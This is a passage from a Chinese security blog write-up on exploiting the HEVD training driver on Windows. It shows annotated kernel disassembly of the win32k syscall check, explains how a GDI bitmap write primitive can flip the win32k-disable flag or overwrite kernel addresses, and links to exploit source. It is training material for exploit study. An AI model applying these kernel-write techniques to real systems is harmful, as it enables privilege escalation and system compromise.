.text:00511652loc_511652:;CODEXREF:_KiEndUnexpectedRange+15j .text:00511652;_KiSystemService+8Aj .text:00511652movedi,eax;eax=SSDTIndex .text:00511654shredi,8;eax/256 .text:00511657andedi,10h;//SSDTorSSDTShadow .text:0051165Amovecx,edi .text:0051165Caddedi,[esi+3Ch];//检查_KTHREAD->ServiceTable //kd>dtnt!_KTHREADServiceTable //+0x03cServiceTable:Ptr32Void .text:0051165Fmovebx,eax .text:00511661andeax,0FFFh .text:00511666cmpeax,[edi+8];//检查当前系统调用号 //和ServiceTable中的调用号,确定是不是在SSDT .text:00511669jnb_KiEndUnexpectedRange//如果不在,则跳转 在KiEndUnexpectedRange中会通过PsConvertToGuiThread来Check状态,在这里会检查win32k系统调用的情况,如果Flags2.DisAllowedWin32kSystemCalls为1,则禁用状态,返回C000022 ,也就是STATUS_ACCESS_DENIED
.text:00511384_KiEndUnexpectedRangeprocnear;CODEXREF:_KiSystemService+19B_x0019_j .text:00511384cmpecx,10h .text:00511387jnzshortloc_5113C3 .text:00511389pushedx .text:0051138Apushebx//系统调用号 .text:0051138Bcall_PsConvertToGuiThread@0;PsConvertToGuiThread()

默认是不启用的,则能成功打开cmd。


【技术分享】HEVD内核漏洞训练——陪Windows玩儿

我们通过setbitmap可以将其改为启用,这样PsConvertToGuiThread就会返回C000022,则后续会造成调用CreateProcess中由于禁用win32k.sys导致程序加载失败。


【技术分享】HEVD内核漏洞训练——陪Windows玩儿

其实整个HEVD的这个exploit调试还是很有趣的,Bitmap也可以修改kernel Address达到一些比较巧妙的效果,当然,如果修改的地址有问题,则会直接BSOD,我就多次发生这样的情况,快照保存了几十个。文中有一些疑问和思考不够深入的地方请师傅们多多批评指正,谢谢大家!

超级好文:https://www.coresecurity.com/system/files/publications/2016/10/Abusing-GDI-Reloaded-ekoparty-2016_0.pdf

文中改写源码地址:https://github.com/k0keoyo/try_exploit/tree/master/HEVD_Win10&Win8


【技术分享】HEVD内核漏洞训练——陪Windows玩儿
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